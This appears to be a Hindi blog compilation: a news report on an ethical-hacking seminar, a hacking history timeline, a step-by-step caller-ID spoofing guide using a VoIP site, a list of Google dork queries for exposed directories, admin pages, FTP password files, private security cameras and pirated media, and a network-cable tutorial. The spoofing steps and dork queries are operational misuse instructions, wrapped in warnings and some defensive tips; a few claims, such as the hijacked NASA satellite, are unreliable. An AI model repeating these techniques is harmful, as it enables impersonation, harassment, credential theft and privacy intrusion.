लगातार एक के बाद एक लाइव डेमो से फाडिया ने बता दिया कि साइबर क्राइम के इस दौर में कुछ भी सैफ नहीं है, इसलिए अब हमें अलर्ट व अपडेट होने की जरूरत है।

प्रख्यात एथिकल हैकर अंकित फाडिया ने सोमवार को दैनिक भास्कर और गुरुकुल इंजीनियरिंग कॉलेज के साझा तत्वावधान में इंद्रविहार स्थित आइनॉक्स में हुई हैक्टिविटी सेमिनार में हैकिंग के लाइव डेमोस्ट्रेशन दिए। उन्होंने कई महत्वपूर्ण वेबसाइट हैक करके सबको चौंका दिया। उन्होंने प्राइवेसी ऑन, आतंकी स्टेगनोग्राफी, ईमेल स्पूर्फिग, पासवर्ड क्रेकिंग, रोड साइन क्रेकिंग और एटीएम मशीन हैकिंग के बारे में उपयोगी जानकारी देते हुए हैकिंग के लाइव डेमो भी दिखाए।

सेमिनार के मुख्य अतिथि एएसपी लक्ष्मण गौड़ थे, अध्यक्षता गुरुकुल इंजीनियरिंग कॉलेज के निदेशक डॉ. बीएल गोचर ने की। निदेशक शैलेंद्र सिंह, राकेश गौतम व आदित्य कौशिक ने अतिथियों का स्वागत किया। प्रिंसीपल प्रो.आरसी मिश्रा ने कहा कि हैकिंग एक एक्टिविटी है, जिसके बारे में इंजीनियरिंग स्टूडेंट्स को उपयोगी जानकारी मिली है। सेमिनार में पुलिस उपअधीक्षक संजय गुप्ता,पंकज चौधरी,चंद्रशील सिंह, पारस जैन सहित कई अधिकारियों व पुलिसकर्मियों ने साइबर क्राइम के बारे में जानकारी ली।


नासा के सैटेलाइट की दिशा बदल दी

फाडिया ने बताया कि कुछ साल पहले नासा ने जैसे ही एक सैटेलाइट लांच किया, रूस के 11 साल के हैकर ने बेडरूम में बैठकर नासा के नेटवर्क को हैक करके अंतरिक्ष में उनकी दिशा ही बदल दी और कंट्रोल अपने हाथ में ले लिया था।

साइबर क्राइम रोकने के दिए टिप्स

फाडिया ने सेमिनार में साइबर क्राइम की पहचान करने के लिए उपयोगी जानकारी दी। साइबर अपराधी ट्रोजन (रिमोट एडमिनिस्ट्रेटिव टूल्स) के सहारे संवेदनशील डाटा चुरा सकते हैं। win backdoor सबसे लेटेस्ट ट्रोजन टूल है। जिसे एंटीवायरस भी ट्रेस नहीं कर पा रहे हैं। उन्होंने सेमिनार में एक पुलिसकर्मी का ईमेल पासवर्ड हैक करके दिखाया।

90 फीसदी नहीं जानते हैकिंग के बारे में

जनवरी, 09 में अमेरिकी राष्ट्रपति बराक ओबामा की ट्विटर हैक करके क्रिमिनल हैकर्स ने अपने इरादे बता दिए थे। इसके बाद भी स्थिति यह है कि आज भी 90 फीसदी इंटरनेट यूजर्स नहीं जानते हैं कि उनके कंप्यूटर का आईपी एड्रेस और पासवर्ड हैक किया जा सकता है।



ऐसे बचें हैकिंग से

१ फायर बॉल (साफ्टवेयर) का उपयोग करें।

२.एंटीवायरस अपडेट करते रहें।

३.एंटी स्पाईवेयर (साफ्टवेयर) का प्रयोग भी करें।

४.हर 15 दिन में ऑपरेटिंग सिस्टम अपडेट करें व पासवर्ड बदले।

५.स्ट्रांग पासवर्ड में केरेक्टर, सिंबल व न्यूमेरिक का प्रयोग करें।

६. वायरलैस नेटवर्क में डब्ल्यूपीए सिक्योरिटी-2 काम में लें

'हैकिंग'

कंप्यूटर हैकिंग या कंप्यूटर के सॉफ़्टवेयर के साथ छेड़छाड़ का इतिहास इंटरनेट के आगमन के साथ जुड़ा हुआ है. ई-मेल या इंटरनेट के ज़रिए भेजे गए वायरस और कंपनियों और संस्थाओं की कंप्यूटर प्रणाली से जानकारी चुराए जाने से या उन्हें हैक किए जाने से कई बड़ी संस्थाओं को करोड़ों डॉलर का नुकसान हुआ है.मगर इस काम को हैकिंग क्यों कहते है? दरअस्ल इस शब्द का इस्तेमाल शुरु हुआ अमरीका की मेसेच्युसेट्स इंस्टिट्यूट ऑफ़ टेक्नॉलॉजी (एम आई टी) में.यहां इस शब्द का अर्थ होता था कोई भी काम चतुर ढंग से या विचारोत्तजक नई शैली में करना. ज़ाहिर सी बात है कि अब हैकिंग का अर्थ है किसी कंप्यूटर या दूरसंचार प्रणाली को क्षति पहुंचाना.
1969शुरुआत हुई अरपानेट की जिससे आगे चलकर इंटरनेट का विकास हुआ. पहले अरपानेट नेटवर्क में केवल चार नोड का इस्तेमाल होता था.
1971रॉय टॉमलिनसन ने ई-मेल का पहला प्रोग्राम लिखा. इस समय अरपानेट में 64 नोड का इस्तेमाल होने लगा था.
1980ग़लती से एक कंप्यूटर वायरस के फैलने से अरपानेट ने काम करना बंद कर दिया.
1983अरपानेट प्रणाली को विभाजित करके सैनिक और नागरिक धड़ों में बांट दिया गया और जन्म हुआ इंटरनेट का.इसी वर्ष रिलीज़ हुई फ़िल्म वॉरगेम्स जिसमें हैकिंग को काफ़ी सकारात्मक रुप में पेश किया गया. हैकिंग करने वाले कई लोगों ने बाद में दावा किया कि वो कंप्यूटर प्रणालियों से छेड़छाड़ करने के लिए इस फ़िल्म से प्रेरित हुए थे.
1986अगस्त मे बर्कले में केलिफ़ॉर्निया विश्वविद्यालय की लॉरेंस बर्कले लैब के नेटवर्क मेनेजर क्लिफ़र्ड स्टॉल ने हिसाब खाते में 75 सेंट की ग़लती की जांच करते हुए पाया कि कुछ हैकर विभाग की कंप्यूटर प्रणाली के साथ छेड़छाड़ कर रहे हैं.एक साल तक चली जांच के बाद हैकिंग के लिए ज़िम्मेदार पांच जर्मन व्यक्तियों को गिरफ़्तार किया गया.1988कॉर्नेल विश्वविद्यालय के छात्र रॉबर्ट मॉरिस ने एक ऐसा वर्म प्रोग्राम बनाया जो किसी भी कंप्यूटर प्रणाली में पहंचाए जाने के बाद अपने जैसे 6000 प्रोग्राम बना कर प्रणाली को ठप्प कर सकता है.रॉबर्ट मॉरिस को गिरफ़्तार किया गया और उसे $ 10,000 का जुर्माना, 400 घंटे अनिवार्य समाज सेवा और दोबारा यही अपराध करने पर तीन वर्ष कैद की सज़ा सुनाई गई.
1989 केविन मिटनिककेविन मिटनिक को डिजिटल इक्विपमेंट कंपनी से सॉफ़्टवेयर और अमरीकी टेलिफ़ोन कंपनी एमसी से लंबी दूरी की टेलिफ़ोन लाइनों के कोड चुराने के आरोप में, ऐसी चोरी संबंधी नए कानून के तहत एक साल कारावास की सज़ा सुनाई गई.इसी वर्ष जिनीवा की सर्न प्रयोगशाला में टिम बर्नर्स ली और रॉबर्ट काइलियो ने डबल्यू डबल्यू डबल्यू यानि वर्ल्ड वाईड वेब का विकास किया.199416 वर्षीय रिचर्ड प्राइस को अमरीकी के अंतरिक्ष शोध संस्थान नासा, कोरियाई आण्विक शोध संस्थान के सैंकड़ों कंप्यूटरों में ग़ैरकानूनी ढंग से इंटरनेट के ज़रिए जानकारी निकालने के आरोप में गिरफ़्तार किया गया.इसी वर्ष हेकिंग करने वाले एक गुट ने सिटीबैंक के कंप्यूटरों के कोड का पता लगा कर एक करोड़ डॉलर बैंक से निकाल लिए. सिटीबैंक इसमें से सिर्फ़ चार लाख डॉलर ही बरामद कर पाया.
1995फ़रवरी मे केविन मिटनिक को दोबारा गिरफ़्तार किया गया. इस बार उन पर 20,000 क्रेडिट कार्डों के नंबर चुराने का आरोप था.उन्हें चार साल कारावास की सज़ा सुनाई गई. उन्हें परोल की रियायत भी इस शर्त पर मिली कि वो कंप्यूटर या मोबाईल फ़ोन के पास नहीं फटकेंगे.15 नवंबर को वायरस प्रोग्राम लिखने के आरोप में क्रिस्टोफ़र पाइल को 18 महीने कारावास की सज़ा हुई. इस अपराध के लिए सज़ा पाने वाले वो पहले व्यक्ति थे.अमरीका का कहना है कि 1995 मे उसके प्रतिरक्षा विभाग के कंप्यूटरों पर ढाई लाख हमले हुए.
1996केविन मिटनिक को दी गई सज़ा के विरोध में कई लोकप्रिय वेबसाइट को हेकिंग करने वालों ने बिगाड़ दिया. इस वर्ष तक इंटरनेट पर 1,60,00,000 वेबसाइट उपलब्ध हो गईं थी.
1999 डेविड स्मिथमार्च में मेलिसा वायरस ने दुनियाभर के हज़ारों कंप्यूटरों को नुकसान पहुंचाया. अमरीकी जांच एजेंसी एफ़बीआई ने इस ख़तरनाक वायरस को बनाने वाले न्यू जर्सी के एक प्रोग्रामर डेविड स्मिथ को गिरफ़्तार किया.
2000 फ़रवरी में याहू और अमेज़ॉन जैसी कुछ सबसे लोकप्रिय वेबसाइट हैकिंग का गंभीर रुप से शिकार हुईं.मई में आई लव यू वायरस ने दुनिया भर में कंप्यूटरों को भारी नुकसान पहुंचाया. इससे कंपनियों और संस्थाओं को करोड़ों डॉलर का नुकसान उठाना पड़ा. अक्तूबर में माइक्रोसॉफ़्ट ने स्वीकार किया की उसके अहम नेटवर्क भी हैकिंग का शिकार हो गए हैं हैकिंग करने वाले कुछ लोगों ने माइक्रोसॉफ़्ट द्वारा भविष्य में बाज़ार मे लाए जाने वाले उसके विंडोज़ उत्पादों के सोर्स कोड का पता लगा लिया है

ब्लॉगजगत का तहलका :मोबाईल हैक , कीजिये किसी के नंबर से किसी के नंबर पर कॉल

इंतजार ख़त्म हुआ ! आपके सामने है वह तकनीक जिससे आप भी इस्तेमाल कर किसी के नंबर से किसी के नंबर पर कॉल कर सकते हैं . माना कि आपके पास ” अरुण सिंह ” नाम के किसी व्यक्ति का नंबर है. इस तकनीक के माध्यम से आप अरुण सिंह के नंबर से अरुण सिंह तो क्या किसी के नंबर पर भी कॉल कर सकते हैं . अरुण सिंह को यह बात पता भी नहीं चलेगी और आप उसके नंबर का इस्तेमाल भी करते रहेंगे. यह इतनी खतरनाक बात है ,कि आपकी निजता आपसे छीन ली जा चुकी है. अब अगर मुझे अरुण सिंह से कोई रंजिश है तो मैं उसके नंबर से मोहल्ले के कोई भाई को फ़ोन कर , चार गलियां बक दूँ . उसे नंबर दिखेगा अरुण सिंह का और वह उसकी तुड़ाई कर देगा .

ऐसी तकनीक को वी. ओ .आई . पी. के माध्यम से अंजाम दिया जाता है .( “वोयईस ओवर इन्टरनेट प्रोटोकॉल “) हालाँकि ऐसे किसी भी कार्य को अंजाम देने के लिए आपके पास अन्य विकसित तकनीकी संसाधन कि आवश्यकता होती है परन्तु इस तकनीक में आप सिर्फ एक ई मेल आई डी के जरिये यह बात कर पाएंगे . इसमें कोई खर्च नहीं . हाँ आपको केवल कुछ कॉल हीं मुफ्त में दी जाएँगी, उसके बाद कॉल करने के लिए आपको कुछ राशी देनी होगी जो सामान्य फ़ोन रेट जैसा हीं है .


मेरे यह पोस्ट लिखने का मकसद इतना हीं है कि यह बात तमाम तरह से मीडिया में आये और इसपर जितना जल्द हो रोक लगे . मैंने अपने स्तर से मीडिया में बात उठा कर कोशिश कर ली . अब आपकी बारी है. आप किसी भी अख़बार या टी वी चैनल तक पहुँच रखते हैं तो यह बात सबको बताएं . बात जब उठेगी , तब जाकर सरकार इस विषय पर गंभीर होते हुए कोई कदम उठायेगी और ऐसी तकनीक को बैन किया जा सकेगा . कुछ दिनों पहले टी वी पर हुए खुलासे के बाद भी भी , इस दिशा में कोई प्रयास नहीं किया गया . हम वस्तुतः ऐसे हीं लोग है . जब तक बात सर के ऊपर नहीं निकल जाये , कोई सुनता हीं नहीं . अब ऐसे में यह जरूरत है कि तकनीक को इतना सामान्य कर दो , कि हर रोज शिकायत पैदा हो . तब जाकर सरकारी तंत्र इसे रोकने की सोचेगा .


इन पांच स्टेप्स का पालन कीजिये और महज़ पांच मिनट में आप इस तकनीक का इस्तेमाल कर पाएंगे .


परन्तु आगे कि पोस्ट पढने के लिए आपको रजिस्टर करना पड़ेगा . पोस्ट वही पढ़ सकता है जो विचारमीमांसा का सदस्य है .


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१. आपके पास एक ई-मेल आई डी का होना आवश्यक है . इस इमेल आई डी से आप इस साईट पर रजिस्टर करें .


२ फ़ोन नंबर कि जगह उस नंबर को डालें जिसका इस्तेमाल आपको करना है .( आप कोई भी नंबर डाल सकते है . यहाँ से कोई भी मैसेज उस नंबर पर नहीं जाता है , इसलिए उस व्यक्ति को पता भी नहीं चलेगा कि आपने उसके नंबर को कहीं जोड़ा है . और यहीँ इस तकनिक को खतरनाक बनाता है.


३. इस साईट पर जायें http://www.mobivox.com/


४ रजिस्टर करें


५ लोग -इन करें


६ लोग इन करने के बाद ” डैरेक्ट वेब कॉल ” वाले तब पर क्लिक करें


७ उस नंबर को डालें , जिसपर कॉल करना है .


८ उस नंबर पर कॉल चली जाएगी


९ अब अब अपने प्रोफाइल में जाकर अपना नंबर बदल कर , दूसरा नंबर भी इस्तेमाल कर सकते हैं.


अगर यह बात बताकर मुझसे कोइ गलती हो गयी हो तो माफी चाहुँगा. इस पोस्ट का मकसद मात्र सरकारी तंत्र का ध्यान खिंचना है . इसे अन्यथा न लिया जाये.




आपसे अनुरोध है कि इस जानकारी का दुरुपयोग ना करेँ. ऐसा करना कानूनन जुर्म है.

Thursday, November 17, 2011

गूगल है हैकर्स का सबसे अच्छा मित्र लाइव सिक्योरिटी कैमरा, मनपसंद गाने, किताबे, वीडियोज सिर्फ कुछ सेकंड्‌स में


आपने देखा होगा की केसे हैकर्स अलग अलग कोड का इस्तेमाल हेकिंग करने में करते है ऐसे और भी कोड है जिनका इस्तेमाल हैकर्स बहुत करते है आज मैं उसी के बारे मैं जानकारी दे रहा हू

वेब सर्वर की डायरेक्टरी सूची

वेब सर्वर की डायरेक्टरी सूची वह वेबपेज होता है जो वेब सर्वर पर मौजूद डायरेक्टरी और फाइल्स को दिखाता है। यह इसलिए बनाई जाती है ताकि वेबसर्वर एडमिनीस्ट्रेटर अपना काम आसानी से कर सकें। पर अगर ये सूची हैकर्स के हाथ लग जायें तो यह वेब सर्वर एडमिनीस्ट्रेटर के लिए किसी बुरे स्वप्न से कम नही होगा वह इसलिए क्योकि यह सूचि वह फाइल भी दिखाती है जो पब्लिक नही होती अर्थात जिन्हे वेब सर्वरएडमिनीस्ट्रेटर दिखाना नही चाहते। हैकर्स डायरेक्टरी सूची को पाने के लिए (intitle:index.of) सर्च का यूज करते है। (intitle:index.of) को गूगल सर्च मे डालने पर गूगल वह सारे वेबपेज रिर्टन करता है जिनके टाइटल बार मे index of लिखा हुआ हो। टाइटल बार मे index of अधिकतर डायरेक्टरी सूची को दर्शाने के लिए लिखा जाता है।

यही नही
(intitle:index.of "parentdirectory") को सर्च करने पर गूगल वह सारे डायरेक्टरी सूचियां रिटर्न करेगा जिनमे paren tdirectory शब्द हो। याद रखें इधर parent directory की जगह आप कोई ओर शब्द भी इस्तेमाल कर सकते है जैसे कि name size एक बार डायरेक्टरी सूची आने पर हैकर्स कई महत्वपूर्ण फाइल्स डाउनलोड कर सकते है। इनके अलावा वह अति महत्वपूर्ण admin डायरेक्टरी जो डायरेक्टरी सूची के अंतर्गत होती है, को एक्सेस करने के लिए हैकर्स (intitle:index.of.admin) या फिर (intitle:index.of inurl:admin) का इस्तेमाल करते है।
ऐसा करने से गूगल वह डायरेक्टरी सूचियां रिटर्न करेगा जिनके वेबपेज के यूआरएल मे admin आता हो।

किसी खास साईट की डायरेक्टरी सूची देखने के लिए हैकर्स intitle आपरेटर के साथ site आपरेटर का उपयोग भी कर सकते है। उदाहरण के लिए
(intitle:index.of site:infinityexists.com) सर्च करने से आपको सिर्फ (infinityexists.com) की ही डायरेक्टरी सूची मिलेगी। याद रखें कि आपको हर वेब सर्वर की डायरेक्टरी सूची मिले ऐसा अनिवार्य नही है, क्योकि यह जरूरी नही कि हर वेब सर्वर की डायरेक्टरी सूची ऐनेबल्ड हो।

वेबसर्वर का वर्जन नंबर ज्ञात करना

किसी वेवसाइट के वेबसर्वर का वर्जन नंबर मिल जाना हैकर्स के लिए खुशी की बात होती है क्योकि फिर वह इस वर्जन नंबर के लिए बनाए गए एक्सप्लाइट्‌स को वेबसर्वर के खिलाफ रन करवा सकते है। एक्सप्लाइट्‌स सी या पर्ल लैंग्वेज मे बने वो प्रोग्राम्स होते है। जिन्हे कम्पाइल कराते ही हैकर्स को सर्वर में सेंध मारने का रास्ता मिल जाता है। हैकर्स के पास वेबसर्वर का कंटेल आने के बाद वह वेबसर्वर को काफी नुकसान पहुचा सकते है। यह एक्सप्लाइट्‌स और इनको इस्तेमाल करने का तरीका नेट पर फ्री मे उपलब्ध है तथा हर वर्जन के एक्सप्लाइट्‌स अलग होते है। नेट पर बहुत सी ऐसी कम्युनिटीज है जो एक्सप्लाइट्‌स बनाती है इनमे से प्रमुख है (www.milw0rm.com) और (www.metasploit.com) और भी ऐसी कई कम्युनिटीज के नाम related आपरेटर से ज्ञात कर सकते है।

तो अब बात आती है वेबसर्वर का वर्जन नंबर ज्ञात करने की इसक लिए वापस हम वेबसर्वर की डायरेक्टरी सूची की तरफ चलते है। किसी वेबसर्वर की डायरेक्टरी सूची के अंत मे वेबसर्वर का वर्जन नंबर लिखा होता है और यहां तक की कई बार वेबसर्वर के आपरेटिंग सिस्टम का नाम भी लिखा होता है। इसके अलावा किसी खास वेबसर्वर का वर्जन नंबर ज्ञात करने के लिए intitle आपरेटर और site आपरेटर का साथ मे प्रसोग किया जाता है। उदाहरण के लिए
(www.media.foxhisper.co.uk) के वेबसर्वर का वर्जन ज्ञात करने के लिए(intitle:index.of"server at" site:media.foxhisper.co.uk) सर्च करे इसमे आपको वह वेबपेज मिलेंगे जिनमे server at लिखा हुआ होगा तथा इसके साथ वेबसर्वर का वर्जन नंबर भी लिखा होगा। आजकल कई वेबार्वर मे सूरक्षा के चलते या तो डायरेक्टरी सूची हटा दी जाती है या अगर होती भी है तो उसमे से वेबार्वर का वर्जन नंबर हटा दिया जाता है। ऐसे मे हैकर्स पोर्ट स्कैनर्स का प्रयोग करते है पोर्ट स्कैनर्स वह सोफ्टवेयर होते है जो टारगेट वेबसर्वर के हर पोर्ट पर मैसज भेजकर रेस्पॉन्स से वेबसर्वर का वर्जन नंबर तथा आपरेटिंग सिस्टम की महत्वपूर्ण जानकारी हैकर्स तक भेजते है तथा यह भी बताते है कि टारगेट सिस्टम मे कौन से पोर्ट खुले है। NMAP और NESSUS अब तक के सबसे उन्नत पोर्ट स्कैनर्स मे से है।

पासवर्ड की जानकारी लेना

वेबसर्वर की डायरेक्टरी सूची कई बार गलती से ऐसी फाइल्स दिखा देती है जिनके कन्टेन्ट मे महत्वपूर्ण पासवर्ड की जानकारी होती है। ऐसी ही एक फाइल है WS_FTP.ini फाइल। दरअसर FTP सर्वर के एनक्रीप्टेड पासवर्ड को WS_FTP क्लाइंट का सर्वाधिक इस्तेमाल किया जाता है और यह क्लाइंट एनक्रीप्टेड पासवर्ड को WS_FTP.ini फाइल मे स्टोर करके रखता है। इस फाइल को देखने के लिए हैकर्स (intitle:index.of ws_ftp.log) या (intitle:index.of "parent directory" "ws_ftp.ini") कोड का प्रयोग करते है। एक बार WS_TP.log या WS_TP.ini फाइल आने के बाद हैकर्स किसी फाइल डीक्रिप्टर से फाइल को डीक्रिप्ट करके पढ़ लेते है।

गूगल द्वारा लाइव सिक्योरिटी कैमरा लोकेट करना

यह एक टि्‌क है जिससे आप इंटरनेट से जूडे दुनिया के किसी भी कोने के लाइव सिक्योरिटी कैमरा द्वारा खींची गई तस्वीरे देख सकते है। हालांकि यह टि्‌क जगह विशेष न होकर कैमरा निर्माता विशेष है। इधर भी आपको करना सिर्फ यह होगा कि नीचे दिए गए कोड को गूगल पर सर्च करें।
ऐक्सिस कैमरा के लिए
(inurl:view/index.shtml)
कैनन वेबकैम के लिए
(intitle:liveapplet inurl:LvAppl)
मोबोटिक्स वेबकैम के लिए
(control/userimage.html)
इवोकैम के लिए
(intitle:"Evocam")
(inurl:"webcam.html")
पेनोसोनिक नेटवर्क कैमरा के लिए
(intitle:"ViewerFrame?Mode=")
यूएसबी के लिए
(intitle:"active webcam page")

फिर भी अगर आप किसी खास देश के कैमरा देखना चाहते है तो साथ मे site आपरेटर का भी उपयोग कर सकते है। उदाहरण के लिए
(inurl:view/index.shtml site:uk) सर्च करने से आप युनाइटेड किंगडम के इंटरनेट से जुडे ऐक्सिस के लाइव सिक्योरिटी कैमरे द्वारा खींची गई तस्वीरें देख सकते है। इधर मजे की बात यह है कि कई कैमरा स्पष्ट देखने के लिए जूम सुविधा भी देते है।

मनपसंद गाने, किताबे, वीडियोज सिर्फ कुछ सेकंड्‌स में

गूगल के स्पेशल सर्च आपरेटर का सबसे बड़ा फायदा यह है कि आप कई सर्च आपरेटर एक साथ इस्तेमाल करके और भी अच्छे परिणाम पा सकते है। अब आप अपने मनपसन्द गाने, किताबे, विडियोज फ्री मे डाउनलोड कर सकते है वह भी बिना किसी झंझट के सिर्फ एक क्लिक मे। आपको करना सिर्फ यह होगा कि नाचे दी गई कोड को गूगल मे सर्च करें।

किताबो के लिए

(-inurl:(html|html|php)intitle:"index of"+"last modified"+parent directory"+description+size+(pdf|doc|chm) "hacking")
इससे आपको वह डायरेक्टरी सूचियां मिलेंगी जिनमें शब्द से जुडी किताबें होगी।

गानो के लिए

(-inurl:(html|html|php)intitle:"index of"+"last modified"+parent directory"+description+size+(wma|mp3) "shakira")
इस तरह आप शकीरा के गाने भी खोज सकते है।

वीडियोज के लिए

(-inurl:(html|html|php)intitle:"index of"+"last modified"+parent directory"+description+size+(mpeg|swv|avi|flv) "backstreet boys")

और बैकस्ट्‌ीट ब्वायज के विडियोज भी।

हालांकि एक और भी आसान तरीका है। ("parent directory"sahkira -xxx -html -htm -php -shtml -opendivx -md5 -md5sums) को गूगल सर्च करके भी आप सकारात्मक नतीजे पा सकते है।

उपर दी गई कोड मे कोई भी कोड सर्च करने पर आपको वह डायरेक्टरी सूची मिलेंगी जिनसे आप सर्च की हुई वस्तु सिर्फ एक क्लिक डाउनलोड कर सकते है। ध्यान दे कि सर्च के आगे (
-) साइन इसलिए लगाया गया है ताकि inurl किसी वेबपेज मे ना आए उसी तरह (+) साइन जिनके आगे लगाया गया है वे शब्द वेबपेज मे आने चाहिए। क्योरी मे इस्तेमाल करा गया (|) लोजिकल OR की तरह काम करता है।

अब तो आप जान ही गए होंगे कि गूगल सिर्फ एक सर्च इंजन ही नही बल्कि हैकर्स का सबसे अच्छा मित्र भी है। तो अगर आप की भी कोई वेबसाइड है या आप वेब एडमिनीस्ट्रेटर है तो सावधान हो जाइए और ध्यान दे निम्नलिखित टिप्स पर अपनी वेबसाइड को काफी हद तक ऐसे हैकर्स से सुरक्षित बनाने के लिए


1- सबसे पहले आप अपने वेबसर्वर की डायरेक्टरी सूची को डिसेबल कर दे और यदि उसे एनेबल रखना जरूरी है तो उसमे से वेबसर्वर का वर्जन नंबर हटा दे। इसके लिए आप अपने एडमिनीस्ट्रेटर से बात करें


2- ऐनेबल्ड डायरेक्टरी सूची मे महत्वपूर्ण फाइल्स न रखें और यदि हो तो उन पर क्लिक करने वाले को 403 का फारबिडन ऐरर या सारी मैसेज दिखाएं। इसका भी अत्यधिक ध्यान रखें कि ऐरर मैसेज मे वेबसर्वर और वेबसाइड के डाटाबेस से संबधित कोई जानकारी न हो।


3- यदि हैकर्स गूगल द्वारा जानकारी जुटाते है तो इसमे गूगल की कोई गलती नही है क्योकि गूगल वो ही वेबपेज दिखते है जो उसे दिखाने के लिए कहा गया है। robots.txt वह फाइल होती है जो गूगल को यह बताती है कि गूगल को कौन कौन से वेबपेज दिखाने है और कौन से नही। robots.txt लेखन और नियमो के बारे मे अधिक जानकारी के लिए
(www.robotstxt.org) पर जाएं। लिखते समय यह ध्यान रखे कि आप कोई महत्वपूर्ण फाइल जैसे कि एडमिन पासवर्ड या बेकअप फाइल गूगल द्वारा दिखाने को नही कह रहे हों।

उपर दिए गए टिप्स से आप हैकर्स को पूरी तरह रोक तो नही सकते मगर उनकी राह अत्यधिक कठिन बना सकते है

नेटवर्क केबल बनाने का आसान तरीका

वर्तमान समय लैपटॉप, नेटबुक तथा पर्सनल कंप्यूटर का है और कई घरों में एकसे अधिक लैपटॉप तथा कंप्यूटर मौजूद है। ऐसे मे पीसी तथा लैपटॉप का डाटा परस्पर टंसफर करना है तो इसके लिए दोनो कंप्यूटर को एक ही नेटवर्क से जोडने के लिए इथरनेट स्विच अथवा रूटर की जरूरत पड़ती है अगर आपके पास में ब्रोडबेंड कनेक्सन है तो इसके लिए भी नेटवर्क केबल की जरुरत पड़ती है अगर आप इसे बजार से लेने जाओगे तो इसकी कीमत करीब दो हजार रूपए तक पड सकती है लेकिन यहां मै आपको ऐसी तरकीब बता रहा हु जिसमे 100 से 150 रूपए खर्च आएगा और आप उससे अपना नेट भी चला सकते हो और डाटा टंसफर भी कर पाओगे।
क्रॉस केबल के जरिए यह काम आसान किया जा सकता है। इसके लिए आप आरजे45 कनेक्टर, कैट्‌स5 इथरनेट केबल तथा आरजे45 क्रिम्पिंग टूल ले जिनके चित्र आपको निचे दिखाई दे रहे है।




इसके बाद कैट्‌स5 इथरनेट केबल को काटें और दोनो ओर से इसे ढाई सेंटीमीटर तक काट ले कैट्‌स5 इथरनेट केबल के चारों तारो को अलग अलग करें क्रॉस केबल के लिए कोई भी दो तार चाहिए इसलिए ब्लू तथा ऑरेंज कलर की वायर रखें और काट लें। अब उन्हे व्हाइट ऑरेज, ऑरेंज व्हाइट ब्लू ब्लू के क्रम में लगाकर सभी तारों को बराबर कर लें। आखिरी तार को अलग कर लें और आधा सेंटीमीटर का गैप रखें। शेष तीन तारो को आरजे45 कनेक्टर के 1,2,3, नंबर में कनेक्ट करे तथा आखरी वायर को भी आरजे45 कनेक्टर 6 नंबर से जोड़ दें और सावधानी से उसे कनेक्टर पर लगा दें। रंगो के हिसाब से ही तार लगाए। जैसे निचे चित्र मे दिख रहा है


कनेक्टर पर वायर ठीक तरह से लगाने के बाद कनेक्टर को जोड़ने के टूल को दबाएंगे तो आपको क्लिक की आवाज सुनाई देगी तो समझ लीजिए तार ठीक तरह से जुड गया है। दूसरी तरफ से तार जोड ने के लिए यही तरीका अपनाएं। इस समय कलर आर्डर होगा व्हाइट ब्लू ब्लू व्हाइट ऑरेंज ऑरेंज रहना चाहिए, अब तार को कंप्यूटर के इथरनेट पोर्ट से जोड ले।
मैं निचे उन दोनों केबलो के कलर कोड दे रहा हु जिसे देख कर आप बड़ी आसानी से नेटवर्क केबल बना सकते हो

ये पहली नंबर की वायर का कलर कोड है

RJ45 Pin #Wire Color
(T568A)
Wire Diagram
(T568A)
10Base-T Signal
100Base-TX Signal
1000Base-T Signal
1White/Greenwhite/greenTransmit+BI_DA+
2GreengreenTransmit-BI_DA-
3White/Orangewhite/orangeReceive+BI_DB+
4BlueblueUnusedBI_DC+
5White/Bluewhite/blueUnusedBI_DC-
6OrangeorangeReceive-BI_DB-
7White/Brownwhite/brownUnusedBI_DD+
8BrownbrownUnusedBI_DD-

ये दूसरी नंबर की वायर का कलर कोड है

RJ45 Pin #Wire Color
(T568B)
Wire Diagram
(T568B)
10Base-T Signal
100Base-TX Signal
1000Base-T Signal
1White/Orangewhite/orangeTransmit+BI_DA+
2OrangeorangeTransmit-BI_DA-
3White/Greenwhite/greenReceive+BI_DB+
4BlueblueUnusedBI_DC+
5White/Bluewhite/blueUnusedBI_DC-
6GreengreenReceive-BI_DB-
7White/Brownwhite/brownUnusedBI_DD+
8BrownbrownUnusedBI_DD-


केबल कंप्यूटर में लगाने के बाद आपका ब्रोडबेंड का कनेक्सन तो चल जायेगा लेकिन आपको दो या दो से ज्यादा कंप्यूटर को आपस में जोड़ना तो इसके लिए आपको दोनो कंप्यूटर में नेटवर्किग कार्ड प्रॉपर्टी सेक्शन में सेटिंग की जरूरत है। दोनो कंप्यूटर का नाम पहले बदल दें और इसके लिए डेस्कटॉप पर माई कंप्यूटर पर तथा प्रॉपर्टीज पर क्लिक कर कंप्यूटर का नाम टेब सिलेक्ट करें और चेंज बटन पर जाएं। दोनो पर अलग अलग नाम डालें। चेंज के लिए अप्लाई करने पर सिस्टम फास्ट हो जाएगा। रिस्टार्ट चुनें




और नेटवर्क सेक्शन मे जाकर इथरनेट कार्ड पर क्लिक कर प्रॉपर्टीज चुनें और इंटरनेट प्रोटोकॉल पर दो बार क्लिक करें। आईपी एड्‌ेस के लिए रेडियो बटन पर क्लिक करें। सेटिंग पूरी हो जाएगी। सेटिंग पूरी होने के बाद आपके कंप्यूटर नेटवर्क केबल से आपस में जुड़ जायेंगे